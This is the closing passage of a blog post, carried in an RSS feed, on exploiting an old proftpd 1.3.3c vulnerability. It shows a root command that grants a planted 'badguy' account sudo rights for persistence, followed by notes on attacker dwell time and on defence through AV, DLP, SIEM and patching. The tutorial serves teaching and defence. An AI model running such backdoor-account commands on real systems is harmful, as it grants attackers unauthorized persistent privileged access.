<div><img decoding="async" src="data:;base64,<svg xmlns='http://www.w3.org/2000/svg' version='1.1' width='738' height='54.22764227642276'/>&#8221; alt=&#8221;&#8221; aria-hidden=&#8221;true&#8221; /></div>
<p>And give them superuser access.</p>
<p><code>root@vtsec:/# usermod -aG sudo badguy</code></p>
<div class="sc-a6c0bd8c-1 ijZWBT image-container undefined"></div>
<div><img decoding="async" src="data:;base64,<svg xmlns='http://www.w3.org/2000/svg' version='1.1' width='740' height='61.54054054054054'/>&#8221; alt=&#8221;&#8221; aria-hidden=&#8221;true&#8221; /></div>
<p>In the Sophos Active Adversary Playbook for 2021, “The median time that attackers were able to remain in the target network before detection – dwell time – was 11 days. This provides attackers with approximately 264 hours for malicious activity, such as lateral movement, reconnaissance, credential dumping, data exfiltration, and more.” Becoming a user of the system is one of the ways they can maintain persistence during this dwell time.</p>
<h2 id="h-how-to-protect-your-network">How to Protect Your Network</h2>
<p>This type of attack would be caught by Antivirus (AV), Data Loss Prevention (DLP), and other SIEM solutions to control intrusions and data exfiltration. These are all basic cyber security tools that are part of a company’s overall security strategy that focuses on detecting and preventing the loss, leakage, or misuse of data through breaches, exfiltration, and unauthorized use.</p>
<p>Although it’s unlikely to find the <strong>proftpd 1.3.3c</strong> vulnerability because it was patched a long time ago, protecting your servers from this type of attack is the first step to protecting them. Update your software and perform routine patch management for all of your services.</p>
<p>The post <a href="http://kostacipo.stream/exploiting-the-proftpd-linux-server/">Exploiting the proftpd Linux Server</a> appeared first on <a href="http://kostacipo.stream">Tech Chronicles</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>http://kostacipo.stream/exploiting-the-proftpd-linux-server/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
	</channel>
</rss>
